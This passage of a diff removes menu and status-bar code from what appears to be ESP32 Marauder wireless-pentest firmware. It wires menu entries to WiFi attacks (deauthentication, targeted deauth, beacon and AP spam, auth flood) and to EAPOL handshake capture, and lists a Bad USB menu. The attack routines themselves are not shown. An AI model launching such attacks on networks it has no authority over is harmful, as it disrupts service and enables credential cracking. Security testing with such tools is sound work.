-            display_obj.tft.drawXBitmap(0,
-                                        KEY_Y + b * (KEY_H + KEY_SPACING_Y) - (ICON_H / 2),
-                                        menu_icons[current_menu->list->get(b).icon],
-                                        ICON_W,
-                                        ICON_H,
-                                        TFT_BLACK,
-                                        current_menu->list->get(b).color);
-        }
-  
-        display_obj.tft.setFreeFont(NULL);
-      }
-    }
-    x = -1;
-    y = -1;
-  #endif
-
-  #ifdef MARAUDER_MINI
-    if (u_btn.justPressed()){
-      if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_OFF) ||
-          (wifi_scan_obj.currentScanMode == OTA_UPDATE)) {
-        if (current_menu->selected > 0) {
-          current_menu->selected--;
-          this->buttonSelected(current_menu->selected);
-          if (!current_menu->list->get(current_menu->selected + 1).selected)
-            this->buttonNotSelected(current_menu->selected + 1);
-        }
-      }
-      else if ((wifi_scan_obj.currentScanMode == WIFI_PACKET_MONITOR) ||
-               (wifi_scan_obj.currentScanMode == WIFI_SCAN_EAPOL)) {
-        if (wifi_scan_obj.set_channel < 14)
-          wifi_scan_obj.changeChannel(wifi_scan_obj.set_channel + 1);
-      }
-    }
-    if (d_btn.justPressed()){
-      if ((wifi_scan_obj.currentScanMode == WIFI_SCAN_OFF) ||
-          (wifi_scan_obj.currentScanMode == OTA_UPDATE)) {
-        if (current_menu->selected < current_menu->list->size() - 1) {
-          current_menu->selected++;
-          this->buttonSelected(current_menu->selected);
-          if (!current_menu->list->get(current_menu->selected - 1).selected)
-            this->buttonNotSelected(current_menu->selected - 1);
-        }
-      }
-      else if ((wifi_scan_obj.currentScanMode == WIFI_PACKET_MONITOR) ||
-               (wifi_scan_obj.currentScanMode == WIFI_SCAN_EAPOL)) {
-        if (wifi_scan_obj.set_channel > 1)
-          wifi_scan_obj.changeChannel(wifi_scan_obj.set_channel - 1);
-      }
-    }
-    if(c_btn_press){
-      current_menu->list->get(current_menu->selected).callable();
-    }
-
-  #endif
-}
-
-#if BATTERY_ANALOG_ON == 1
-byte battery_analog_array[10];
-byte battery_count = 0;
-byte battery_analog_last = 101;
-#define BATTERY_CHECK 50
-uint16_t battery_analog = 0;
-void MenuFunctions::battery(bool initial)
-{
-  if (BATTERY_ANALOG_ON) {
-    uint8_t n = 0;
-    byte battery_analog_sample[10];
-    byte deviation;
-    if (battery_count == BATTERY_CHECK - 5)  digitalWrite(BATTERY_PIN, HIGH);
-    else if (battery_count == 5) digitalWrite(BATTERY_PIN, LOW);
-    if (battery_count == 0) {
-      battery_analog = 0;
-      for (n = 9; n > 0; n--)battery_analog_array[n] = battery_analog_array[n - 1];
-      for (n = 0; n < 10; n++) {
-        battery_analog_sample[n] = map((analogRead(ANALOG_PIN) * 5), 2400, 4200, 0, 100);
-        if (battery_analog_sample[n] > 100) battery_analog_sample[n] = 100;
-        else if (battery_analog_sample[n] < 0) battery_analog_sample[n] = 0;
-        battery_analog += battery_analog_sample[n];
-      }
-      battery_analog = battery_analog / 10;
-      for (n = 0; n < 10; n++) {
-        deviation = abs(battery_analog - battery_analog_sample[n]);
-        if (deviation >= 10) battery_analog_sample[n] = battery_analog;
-      }
-      battery_analog = 0;
-      for (n = 0; n < 10; n++) battery_analog += battery_analog_sample[n];
-      battery_analog = battery_analog / 10;
-      battery_analog_array[0] = battery_analog;
-      if (battery_analog_array[9] > 0 ) {
-        battery_analog = 0;
-        for (n = 0; n < 10; n++) battery_analog += battery_analog_array[n];
-        battery_analog = battery_analog / 10;
-      }
-      battery_count ++;
-    }
-    else if (battery_count < BATTERY_CHECK) battery_count++;
-    else if (battery_count >= BATTERY_CHECK) battery_count = 0;
-
-    if (battery_analog_last != battery_analog) {
-      battery_analog_last = battery_analog;
-      MenuFunctions::battery2();
-    }
-  }
-}
-void MenuFunctions::battery2(bool initial)
-{
-  uint16_t the_color;
-  if ( digitalRead(CHARGING_PIN) == 1) the_color = TFT_BLUE;
-  else if (battery_analog < 20) the_color = TFT_RED;
-  else if (battery_analog < 40)  the_color = TFT_YELLOW;
-  else the_color = TFT_GREEN;
-
-  display_obj.tft.setTextColor(the_color, STATUSBAR_COLOR);
-  display_obj.tft.fillRect(186, 0, 50, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
-  display_obj.tft.drawXBitmap(186,
-                              0,
-                              menu_icons[STATUS_BAT],
-                              16,
-                              16,
-                              STATUSBAR_COLOR,
-                              the_color);
-  display_obj.tft.drawString((String) battery_analog + "%", 204, 0, 2);
-}
-#else
-void MenuFunctions::battery(bool initial)
-{
-  uint16_t the_color;
-  if (battery_obj.i2c_supported)
-  {
-    // Could use int compare maybe idk
-    if (((String)battery_obj.battery_level != "25") && ((String)battery_obj.battery_level != "0"))
-      the_color = TFT_GREEN;
-    else
-      the_color = TFT_RED;
-
-    if ((battery_obj.battery_level != battery_obj.old_level) || (initial)) {
-      battery_obj.old_level = battery_obj.battery_level;
-      display_obj.tft.fillRect(204, 0, SCREEN_WIDTH, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
-      display_obj.tft.setCursor(0, 1);
-      display_obj.tft.drawXBitmap(186,
-                                  0,
-                                  menu_icons[STATUS_BAT],
-                                  16,
-                                  16,
-                                  STATUSBAR_COLOR,
-                                  the_color);
-      display_obj.tft.drawString((String)battery_obj.battery_level + "%", 204, 0, 2);
-    }
-  }
-}
-void MenuFunctions::battery2(bool initial)
-{
-  MenuFunctions::battery(initial);
-}
-#endif
-
-void MenuFunctions::updateStatusBar()
-{
-  display_obj.tft.setTextSize(1);
-  
-  #ifdef MARAUDER_MINI
-    display_obj.tft.setFreeFont(NULL);
-  #endif
-  
-  uint16_t the_color; 
-
-  // Draw temp info
-  if (temp_obj.current_temp < 70)
-    the_color = TFT_GREEN;
-  else if ((temp_obj.current_temp >= 70) && (temp_obj.current_temp < 80))
-    the_color = TFT_YELLOW;
-  else if ((temp_obj.current_temp >= 80) && (temp_obj.current_temp < 90))
-    the_color = TFT_ORANGE;
-  else if ((temp_obj.current_temp >= 90) && (temp_obj.current_temp < 100))
-    the_color = TFT_RED;
-  else
-    the_color = TFT_MAROON;
-
-  display_obj.tft.setTextColor(the_color, STATUSBAR_COLOR);
-  if (temp_obj.current_temp != temp_obj.old_temp) {
-    temp_obj.old_temp = temp_obj.current_temp;
-    display_obj.tft.fillRect(0, 0, 50, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.drawString((String)temp_obj.current_temp + " C", 4, 0, 2);
-    #endif
-
-    #ifdef MARAUDER_MINI
-      display_obj.tft.drawString((String)temp_obj.current_temp + " C", 0, 0, 1);
-    #endif
-  }
-  display_obj.tft.setTextColor(TFT_WHITE, STATUSBAR_COLOR);
-
-  // WiFi Channel Stuff
-  if (wifi_scan_obj.set_channel != wifi_scan_obj.old_channel) {
-    wifi_scan_obj.old_channel = wifi_scan_obj.set_channel;
-    display_obj.tft.fillRect(50, 0, 50, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.drawString("CH: " + (String)wifi_scan_obj.set_channel, 50, 0, 2);
-    #endif
-
-    #ifdef MARAUDER_MINI
-      display_obj.tft.drawString("CH: " + (String)wifi_scan_obj.set_channel, TFT_WIDTH/4, 0, 1);
-    #endif
-  }
-
-  // RAM Stuff
-  wifi_scan_obj.freeRAM();
-  if (wifi_scan_obj.free_ram != wifi_scan_obj.old_free_ram) {
-    wifi_scan_obj.old_free_ram = wifi_scan_obj.free_ram;
-    display_obj.tft.fillRect(100, 0, 60, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
-    #ifndef MARAUDER_MINI
-      display_obj.tft.drawString((String)wifi_scan_obj.free_ram + "B", 100, 0, 2);
-    #endif
-
-    #ifdef MARAUDER_MINI
-      display_obj.tft.drawString((String)wifi_scan_obj.free_ram + "B", TFT_WIDTH/1.75, 0, 1);
-    #endif
-  }
-
-  // Draw battery info
-  MenuFunctions::battery(false);
-
-  // Draw SD info
-  if (sd_obj.supported)
-    the_color = TFT_GREEN;
-  else
-    the_color = TFT_RED;
-
-  #ifndef MARAUDER_MINI
-    display_obj.tft.drawXBitmap(170,
-                                0,
-                                menu_icons[STATUS_SD],
-                                16,
-                                16,
-                                STATUSBAR_COLOR,
-                                the_color);
-  #endif
-
-  #ifdef MARAUDER_MINI
-    display_obj.tft.setTextColor(the_color, STATUSBAR_COLOR);
-    display_obj.tft.drawString("SD", TFT_WIDTH - 12, 0, 1);
-  #endif
-}
-
-void MenuFunctions::drawStatusBar()
-{
-  display_obj.tft.setTextSize(1);
-  #ifdef MARAUDER_MINI
-    display_obj.tft.setFreeFont(NULL);
-  #endif
-  display_obj.tft.fillRect(0, 0, 240, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
-  //display_obj.tft.fillRect(0, STATUS_BAR_WIDTH + 1, 240, 1, TFT_DARKGREY);
-  display_obj.tft.setTextColor(TFT_WHITE, STATUSBAR_COLOR);
-  //display_obj.tft.setTextSize(2);
-
-  uint16_t the_color;
-
-  // Draw temp info
-  if (temp_obj.current_temp < 70)
-    the_color = TFT_GREEN;
-  else if ((temp_obj.current_temp >= 70) && (temp_obj.current_temp < 80))
-    the_color = TFT_YELLOW;
-  else if ((temp_obj.current_temp >= 80) && (temp_obj.current_temp < 90))
-    the_color = TFT_ORANGE;
-  else if ((temp_obj.current_temp >= 90) && (temp_obj.current_temp < 100))
-    the_color = TFT_RED;
-  else
-    the_color = TFT_MAROON;
-
-  display_obj.tft.setTextColor(the_color, STATUSBAR_COLOR);
-  temp_obj.old_temp = temp_obj.current_temp;
-  display_obj.tft.fillRect(0, 0, 50, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
-  #ifndef MARAUDER_MINI
-    display_obj.tft.drawString((String)temp_obj.current_temp + " C", 4, 0, 2);
-  #endif
-
-  #ifdef MARAUDER_MINI
-    display_obj.tft.drawString((String)temp_obj.current_temp + " C", 0, 0, 1);
-  #endif
-  display_obj.tft.setTextColor(TFT_WHITE, STATUSBAR_COLOR);
-
-
-  // WiFi Channel Stuff
-  wifi_scan_obj.old_channel = wifi_scan_obj.set_channel;
-  display_obj.tft.fillRect(50, 0, 50, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
-  #ifndef MARAUDER_MINI
-    display_obj.tft.drawString("CH: " + (String)wifi_scan_obj.set_channel, 50, 0, 2);
-  #endif
-
-  #ifdef MARAUDER_MINI
-    display_obj.tft.drawString("CH: " + (String)wifi_scan_obj.set_channel, TFT_WIDTH/4, 0, 1);
-  #endif
-
-  // RAM Stuff
-  wifi_scan_obj.freeRAM();
-  wifi_scan_obj.old_free_ram = wifi_scan_obj.free_ram;
-  display_obj.tft.fillRect(100, 0, 60, STATUS_BAR_WIDTH, STATUSBAR_COLOR);
-  #ifndef MARAUDER_MINI
-    display_obj.tft.drawString((String)wifi_scan_obj.free_ram + "B", 100, 0, 2);
-  #endif
-
-  #ifdef MARAUDER_MINI
-    display_obj.tft.drawString((String)wifi_scan_obj.free_ram + "B", TFT_WIDTH/1.75, 0, 1);
-  #endif
-
-
-  MenuFunctions::battery2(true);
-
-  // Draw SD info
-  if (sd_obj.supported)
-    the_color = TFT_GREEN;
-  else
-    the_color = TFT_RED;
-
-  #ifndef MARAUDER_MINI
-    display_obj.tft.drawXBitmap(170,
-                                0,
-                                menu_icons[STATUS_SD],
-                                16,
-                                16,
-                                STATUSBAR_COLOR,
-                                the_color);
-  #endif
-
-  #ifdef MARAUDER_MINI
-    display_obj.tft.setTextColor(the_color, STATUSBAR_COLOR);
-    display_obj.tft.drawString("SD", TFT_WIDTH - 12, 0, 1);
-  #endif
-}
-
-void MenuFunctions::orientDisplay()
-{
-  display_obj.tft.init();
-
-  display_obj.tft.setRotation(0); // Portrait
-
-  display_obj.tft.setCursor(0, 0);
-
-  #ifndef MARAUDER_MINI
-    #ifdef TFT_SHIELD
-      uint16_t calData[5] = { 275, 3494, 361, 3528, 4 }; // tft.setRotation(0); // Portrait with TFT Shield
-      //Serial.println("Using TFT Shield");
-    #else if defined(TFT_DIY)
-      uint16_t calData[5] = { 339, 3470, 237, 3438, 2 }; // tft.setRotation(0); // Portrait with DIY TFT
-      //Serial.println("Using TFT DIY");
-    #endif
-
-    display_obj.tft.setTouch(calData);
-  #endif
-
-  changeMenu(current_menu);
-}
-
-void MenuFunctions::runBoolSetting(String key) {
-  //Serial.println("Building bool setting screen...");
-  display_obj.tftDrawRedOnOffButton();
-  //display_obj.tftDrawGreenOnOffButton();
-}
-
-String MenuFunctions::callSetting(String key) {
-  specSettingMenu.name = key;
-  
-  String setting_type = settings_obj.getSettingType(key);
-
-  if (setting_type == "bool") {
-    return "bool";
-  }
-}
-
-void MenuFunctions::displaySetting(String key, Menu* menu, int index) {
-  specSettingMenu.name = key;
-
-  bool setting_value = settings_obj.loadSetting<bool>(key);
-
-  // Make a local copy of menu node
-  MenuNode node = menu->list->get(index);
-
-  display_obj.tft.setTextWrap(false);
-  display_obj.tft.setFreeFont(NULL);
-  display_obj.tft.setCursor(0, 100);
-  display_obj.tft.setTextSize(1);
-
-  // Set local copy value
-  if (!setting_value) {
-    display_obj.tft.setTextColor(TFT_RED);
-    display_obj.tft.println(F(text_table1[4]));
-    node.selected = false;
-  }
-  else {
-    display_obj.tft.setTextColor(TFT_GREEN);
-    display_obj.tft.println(F(text_table1[5]));
-    node.selected = true;
-  }
-
-  // Put local copy back into menu
-  menu->list->set(index, node);
-    
-}
-
-
-// Function to build the menus
-void MenuFunctions::RunSetup()
-{
-  extern LinkedList<AccessPoint>* access_points;
-  
-  #ifndef MARAUDER_MINI
-    this->initLVGL();
-  #endif
-   
-  // root menu stuff
-  mainMenu.list = new LinkedList<MenuNode>(); // Get list in first menu ready
-
-  // Main menu stuff
-  wifiMenu.list = new LinkedList<MenuNode>(); // Get list in second menu ready
-  bluetoothMenu.list = new LinkedList<MenuNode>(); // Get list in third menu ready
-  badusbMenu.list = new LinkedList<MenuNode>();
-  generalMenu.list = new LinkedList<MenuNode>();
-  deviceMenu.list = new LinkedList<MenuNode>();
-
-  // Device menu stuff
-  failedUpdateMenu.list = new LinkedList<MenuNode>();
-  whichUpdateMenu.list = new LinkedList<MenuNode>();
-  confirmMenu.list = new LinkedList<MenuNode>();
-  espUpdateMenu.list = new LinkedList<MenuNode>();
-  updateMenu.list = new LinkedList<MenuNode>();
-  settingsMenu.list = new LinkedList<MenuNode>();
-  specSettingMenu.list = new LinkedList<MenuNode>();
-  infoMenu.list = new LinkedList<MenuNode>();
-  languageMenu.list = new LinkedList<MenuNode>();
-
-  // WiFi menu stuff
-  wifiSnifferMenu.list = new LinkedList<MenuNode>();
-  wifiAttackMenu.list = new LinkedList<MenuNode>();
-  wifiGeneralMenu.list = new LinkedList<MenuNode>();
-  wifiAPMenu.list = new LinkedList<MenuNode>();
-
-  // Bluetooth menu stuff
-  bluetoothSnifferMenu.list = new LinkedList<MenuNode>();
-  bluetoothGeneralMenu.list = new LinkedList<MenuNode>();
-
-  // Settings stuff
-  shutdownWiFiMenu.list = new LinkedList<MenuNode>();
-  shutdownBLEMenu.list = new LinkedList<MenuNode>();
-  generateSSIDsMenu.list = new LinkedList<MenuNode>();
-  clearSSIDsMenu.list = new LinkedList<MenuNode>();
-  clearAPsMenu.list = new LinkedList<MenuNode>();
-
-  // Work menu names
-  mainMenu.name = text_table1[6];
-  wifiMenu.name = text_table1[7];
-  badusbMenu.name = text_table1[8];
-  deviceMenu.name = text_table1[9];
-  generalMenu.name = text_table1[10];
-  failedUpdateMenu.name = text_table1[11];
-  whichUpdateMenu.name = text_table1[12];
-  confirmMenu.name = text_table1[13];
-  espUpdateMenu.name = text_table1[14];
-  updateMenu.name = text_table1[15];
-  languageMenu.name = text_table1[16]; 
-  infoMenu.name = text_table1[17];
-  settingsMenu.name = text_table1[18];
-  bluetoothMenu.name = text_table1[19];
-  wifiSnifferMenu.name = text_table1[20];
-  wifiAttackMenu.name = text_table1[21];
-  wifiGeneralMenu.name = text_table1[22];
-  bluetoothSnifferMenu.name = text_table1[23];
-  bluetoothGeneralMenu.name = text_table1[24];
-  shutdownWiFiMenu.name = text_table1[25];
-  shutdownBLEMenu.name = text_table1[26];
-  generateSSIDsMenu.name = text_table1[27];
-  clearSSIDsMenu.name = text_table1[28];
-  clearAPsMenu.name = text_table1[29];
-  wifiAPMenu.name = "Access Points";
-  
-
-  // Build Main Menu
-  mainMenu.parentMenu = NULL;
-  addNodes(&mainMenu, text_table1[7], TFT_GREEN, NULL, WIFI, [this]() {
-    changeMenu(&wifiMenu);
-  });
-  addNodes(&mainMenu, text_table1[19], TFT_CYAN, NULL, BLUETOOTH, [this]() {
-    changeMenu(&bluetoothMenu);
-  });
-  if (a32u4_obj.supported) addNodes(&mainMenu, text_table1[8], TFT_RED, NULL, BAD_USB_ICO, [this]() {
-    changeMenu(&badusbMenu);
-  });
-  addNodes(&mainMenu, text_table1[10], TFT_MAGENTA, NULL, GENERAL_APPS, [this]() {
-    changeMenu(&generalMenu);
-  });
-  addNodes(&mainMenu, text_table1[9], TFT_BLUE, NULL, DEVICE, [this]() {
-    changeMenu(&deviceMenu);
-  });
-  addNodes(&mainMenu, text_table1[30], TFT_LIGHTGREY, NULL, REBOOT, []() {
-    ESP.restart();
-  });
-
-  // Build WiFi Menu
-  wifiMenu.parentMenu = &mainMenu; // Main Menu is second menu parent
-  addNodes(&wifiMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-    changeMenu(wifiMenu.parentMenu);
-  });
-  addNodes(&wifiMenu, text_table1[31], TFT_YELLOW, NULL, SNIFFERS, [this]() {
-    changeMenu(&wifiSnifferMenu);
-  });
-  //addNodes(&wifiMenu, "Scanners", TFT_ORANGE, NULL, SCANNERS, [this]() {
-  //  changeMenu(&wifiScannerMenu);
-  //});
-  addNodes(&wifiMenu, text_table1[32], TFT_RED, NULL, ATTACKS, [this]() {
-    changeMenu(&wifiAttackMenu);
-  });
-  addNodes(&wifiMenu, text_table1[33], TFT_PURPLE, NULL, GENERAL_APPS, [this]() {
-    changeMenu(&wifiGeneralMenu);
-  });
-
-  // Build WiFi sniffer Menu
-  wifiSnifferMenu.parentMenu = &wifiMenu; // Main Menu is second menu parent
-  addNodes(&wifiSnifferMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-    changeMenu(wifiSnifferMenu.parentMenu);
-  });
-  addNodes(&wifiSnifferMenu, text_table1[42], TFT_CYAN, NULL, PROBE_SNIFF, [this]() {
-    display_obj.clearScreen();
-    this->drawStatusBar();
-    wifi_scan_obj.StartScan(WIFI_SCAN_PROBE, TFT_CYAN);
-  });
-  addNodes(&wifiSnifferMenu, text_table1[43], TFT_MAGENTA, NULL, BEACON_SNIFF, [this]() {
-    display_obj.clearScreen();
-    this->drawStatusBar();
-    wifi_scan_obj.StartScan(WIFI_SCAN_AP, TFT_MAGENTA);
-  });
-  addNodes(&wifiSnifferMenu, text_table1[44], TFT_RED, NULL, DEAUTH_SNIFF, [this]() {
-    display_obj.clearScreen();
-    this->drawStatusBar();
-    wifi_scan_obj.StartScan(WIFI_SCAN_DEAUTH, TFT_RED);
-  });
-  #ifndef MARAUDER_MINI
-    addNodes(&wifiSnifferMenu, text_table1[46], TFT_VIOLET, NULL, EAPOL, [this]() {
-      wifi_scan_obj.StartScan(WIFI_SCAN_EAPOL, TFT_VIOLET);
-    });
-    addNodes(&wifiSnifferMenu, text_table1[45], TFT_BLUE, NULL, PACKET_MONITOR, [this]() {
-      wifi_scan_obj.StartScan(WIFI_PACKET_MONITOR, TFT_BLUE);
-    });
-  #else
-    addNodes(&wifiSnifferMenu, text_table1[46], TFT_VIOLET, NULL, EAPOL, [this]() {
-      display_obj.clearScreen();
-      this->drawStatusBar();
-      wifi_scan_obj.StartScan(WIFI_SCAN_EAPOL, TFT_VIOLET);
-    });
-    addNodes(&wifiSnifferMenu, text_table1[45], TFT_BLUE, NULL, PACKET_MONITOR, [this]() {
-      display_obj.clearScreen();
-      this->drawStatusBar();
-      wifi_scan_obj.StartScan(WIFI_PACKET_MONITOR, TFT_BLUE);
-    });
-  #endif
-  addNodes(&wifiSnifferMenu, text_table1[47], TFT_RED, NULL, PWNAGOTCHI, [this]() {
-    display_obj.clearScreen();
-    this->drawStatusBar();
-    wifi_scan_obj.StartScan(WIFI_SCAN_PWN, TFT_RED);
-  });
-  /*addNodes(&wifiSnifferMenu, text_table1[48], TFT_ORANGE, NULL, ESPRESSIF, [this]() {
-    display_obj.clearScreen();
-    this->drawStatusBar();
-    wifi_scan_obj.StartScan(WIFI_SCAN_ESPRESSIF, TFT_ORANGE);
-  });*/
-  addNodes(&wifiSnifferMenu, text_table1[49], TFT_MAGENTA, NULL, BEACON_SNIFF, [this]() {
-    display_obj.clearScreen();
-    this->drawStatusBar();
-    wifi_scan_obj.StartScan(WIFI_SCAN_TARGET_AP, TFT_MAGENTA);
-  });
-  addNodes(&wifiSnifferMenu, text_table1[58], TFT_WHITE, NULL, PACKET_MONITOR, [this]() {
-    display_obj.clearScreen();
-    this->drawStatusBar();
-    wifi_scan_obj.StartScan(WIFI_SCAN_RAW_CAPTURE, TFT_WHITE);
-  });
-  addNodes(&wifiSnifferMenu, text_table1[59], TFT_ORANGE, NULL, PACKET_MONITOR, [this]() {
-    display_obj.clearScreen();
-    this->drawStatusBar();
-    wifi_scan_obj.StartScan(WIFI_SCAN_STATION, TFT_WHITE);
-  });
-
-  // Build WiFi attack menu
-  wifiAttackMenu.parentMenu = &wifiMenu; // Main Menu is second menu parent
-  addNodes(&wifiAttackMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-    changeMenu(wifiAttackMenu.parentMenu);
-  });
-  addNodes(&wifiAttackMenu, text_table1[50], TFT_RED, NULL, BEACON_LIST, [this]() {
-    display_obj.clearScreen();
-    this->drawStatusBar();
-    wifi_scan_obj.StartScan(WIFI_ATTACK_BEACON_LIST, TFT_RED);
-  });
-  addNodes(&wifiAttackMenu, text_table1[51], TFT_ORANGE, NULL, BEACON_SPAM, [this]() {
-    display_obj.clearScreen();
-    this->drawStatusBar();
-    wifi_scan_obj.StartScan(WIFI_ATTACK_BEACON_SPAM, TFT_ORANGE);
-  });
-  addNodes(&wifiAttackMenu, text_table1[52], TFT_YELLOW, NULL, RICK_ROLL, [this]() {
-    display_obj.clearScreen();
-    this->drawStatusBar();
-    wifi_scan_obj.StartScan(WIFI_ATTACK_RICK_ROLL, TFT_YELLOW);
-  });
-  addNodes(&wifiAttackMenu, text_table1[53], TFT_RED, NULL, PROBE_SNIFF, [this]() {
-    display_obj.clearScreen();
-    this->drawStatusBar();
-    wifi_scan_obj.StartScan(WIFI_ATTACK_AUTH, TFT_RED);
-  });
-  addNodes(&wifiAttackMenu, text_table1[54], TFT_RED, NULL, DEAUTH_SNIFF, [this]() {
-    display_obj.clearScreen();
-    this->drawStatusBar();
-    wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH, TFT_RED);
-  });
-  addNodes(&wifiAttackMenu, text_table1[57], TFT_MAGENTA, NULL, BEACON_LIST, [this]() {
-    display_obj.clearScreen();
-    this->drawStatusBar();
-    wifi_scan_obj.StartScan(WIFI_ATTACK_AP_SPAM, TFT_MAGENTA);
-  });
-  addNodes(&wifiAttackMenu, text_table1[62], TFT_RED, NULL, DEAUTH_SNIFF, [this]() {
-    display_obj.clearScreen();
-    this->drawStatusBar();
-    wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH_TARGETED, TFT_ORANGE);
-  });
-  //addNodes(&wifiAttackMenu, "AP Mimic Flood", TFT_PURPLE, NULL, DEAUTH_SNIFF, [this]() {
-  //  display_obj.clearScreen();
-  //  this->drawStatusBar();
-  //  wifi_scan_obj.StartScan(WIFI_ATTACK_MIMIC, TFT_PURPLE);
-  //});
-
-  // Build WiFi General menu
-  wifiGeneralMenu.parentMenu = &wifiMenu;
-  addNodes(&wifiGeneralMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-    changeMenu(wifiGeneralMenu.parentMenu);
-  });
-  #ifndef MARAUDER_MINI
-    addNodes(&wifiGeneralMenu, text_table1[55], TFT_DARKCYAN, NULL, JOIN_WIFI, [this](){
-      display_obj.clearScreen(); 
-      wifi_scan_obj.currentScanMode = LV_JOIN_WIFI; 
-      wifi_scan_obj.StartScan(LV_JOIN_WIFI, TFT_YELLOW); 
-      joinWiFiGFX();
-    });
-  #endif
-  addNodes(&wifiGeneralMenu, text_table1[25], TFT_CYAN, NULL, SHUTDOWN, [this]() {
-    changeMenu(&shutdownWiFiMenu);
-    wifi_scan_obj.RunShutdownWiFi();
-  });
-  addNodes(&wifiGeneralMenu, text_table1[27], TFT_SKYBLUE, NULL, GENERATE, [this]() {
-    changeMenu(&generateSSIDsMenu);
-    wifi_scan_obj.RunGenerateSSIDs();
-  });
-  #ifndef MARAUDER_MINI
-    addNodes(&wifiGeneralMenu, text_table1[1], TFT_NAVY, NULL, KEYBOARD_ICO, [this](){
-      display_obj.clearScreen(); 
-      //wifi_scan_obj.currentScanMode = LV_ADD_SSID; 
-      wifi_scan_obj.StartScan(LV_ADD_SSID, TFT_YELLOW); 
-      addSSIDGFX();
-    });
-  #endif
-  addNodes(&wifiGeneralMenu, text_table1[28], TFT_SILVER, NULL, CLEAR_ICO, [this]() {
-    changeMenu(&clearSSIDsMenu);
-    wifi_scan_obj.RunClearSSIDs();
-  });
-  addNodes(&wifiGeneralMenu, text_table1[29], TFT_DARKGREY, NULL, CLEAR_ICO, [this]() {
-    changeMenu(&clearAPsMenu);
-    wifi_scan_obj.RunClearAPs();
-  });
-  addNodes(&wifiGeneralMenu, text_table1[60], TFT_BLUE, NULL, CLEAR_ICO, [this]() {
-    changeMenu(&clearAPsMenu);
-    wifi_scan_obj.RunClearStations();
-  });
-  #ifndef MARAUDER_MINI
-    // Select APs on OG
-    addNodes(&wifiGeneralMenu, text_table1[56], TFT_NAVY, NULL, KEYBOARD_ICO, [this](){
-      display_obj.clearScreen(); 
-      wifi_scan_obj.currentScanMode = LV_ADD_SSID; 
-      wifi_scan_obj.StartScan(LV_ADD_SSID, TFT_RED);  
-      addAPGFX();
-    });
-    addNodes(&wifiGeneralMenu, text_table1[61], TFT_LIGHTGREY, NULL, KEYBOARD_ICO, [this](){
-      display_obj.clearScreen(); 
-      wifi_scan_obj.currentScanMode = LV_ADD_SSID; 
-      wifi_scan_obj.StartScan(LV_ADD_SSID, TFT_RED);  
-      addStationGFX();
-    });
-  #else
-    // Select APs on Mini
-    addNodes(&wifiGeneralMenu, text_table1[56], TFT_NAVY, NULL, KEYBOARD_ICO, [this](){
-      wifiAPMenu.list->clear();
-        addNodes(&wifiAPMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-        changeMenu(wifiAPMenu.parentMenu);
-      });
-      int menu_limit;
-      if (access_points->size() <= BUTTON_ARRAY_LEN)
-        menu_limit = access_points->size();
-      else
-        menu_limit = BUTTON_ARRAY_LEN;
-      for (int i = 0; i < menu_limit - 1; i++) {
-        addNodes(&wifiAPMenu, access_points->get(i).essid, TFT_CYAN, NULL, KEYBOARD_ICO, [this, i](){
-        AccessPoint new_ap = access_points->get(i);
-        new_ap.selected = !access_points->get(i).selected;
-
-        // Change selection status of menu node
-        MenuNode new_node = current_menu->list->get(i + 1);
-        new_node.selected = !current_menu->list->get(i + 1).selected;
-        current_menu->list->set(i + 1, new_node);
-
-        // Change selection status of button key
-        if (new_ap.selected) {
-          this->buttonSelected(i + 1);
-          //changeMenu(current_menu);
-        } else {
-          this->buttonNotSelected(i + 1);
-          //changeMenu(current_menu);
-        }
-        access_points->set(i, new_ap);
-        //changeMenu(wifiAPMenu.parentMenu);
-        }, access_points->get(i).selected);
-      }
-      changeMenu(&wifiAPMenu);
-    });
-
-    wifiAPMenu.parentMenu = &wifiGeneralMenu;
-    addNodes(&wifiAPMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-      changeMenu(wifiAPMenu.parentMenu);
-    });
-  #endif
-
-  // Build shutdown wifi menu
-  shutdownWiFiMenu.parentMenu = &wifiGeneralMenu;
-  addNodes(&shutdownWiFiMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-    changeMenu(shutdownWiFiMenu.parentMenu);
-  });
-
-  // Build generate ssids menu
-  generateSSIDsMenu.parentMenu = &wifiGeneralMenu;
-  addNodes(&generateSSIDsMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-    changeMenu(generateSSIDsMenu.parentMenu);
-  });
-
-  // Build clear ssids menu
-  clearSSIDsMenu.parentMenu = &wifiGeneralMenu;
-  addNodes(&clearSSIDsMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-    changeMenu(clearSSIDsMenu.parentMenu);
-  });
-  clearAPsMenu.parentMenu = &wifiGeneralMenu;
-  addNodes(&clearAPsMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-    changeMenu(clearAPsMenu.parentMenu);
-  });
-
-
-  // Build Bluetooth Menu
-  bluetoothMenu.parentMenu = &mainMenu; // Second Menu is third menu parent
-  addNodes(&bluetoothMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-    changeMenu(bluetoothMenu.parentMenu);
-  });
-  addNodes(&bluetoothMenu, text_table1[31], TFT_YELLOW, NULL, SNIFFERS, [this]() {
-    changeMenu(&bluetoothSnifferMenu);
-  });
-  //addNodes(&bluetoothMenu, "Scanners", TFT_ORANGE, NULL, SCANNERS, [this]() {
-  //  changeMenu(&bluetoothScannerMenu);
-  //});
-  addNodes(&bluetoothMenu, text_table1[33], TFT_PURPLE, NULL, GENERAL_APPS, [this]() {
-    changeMenu(&bluetoothGeneralMenu);
-  });
-
-  // Build bluetooth sniffer Menu
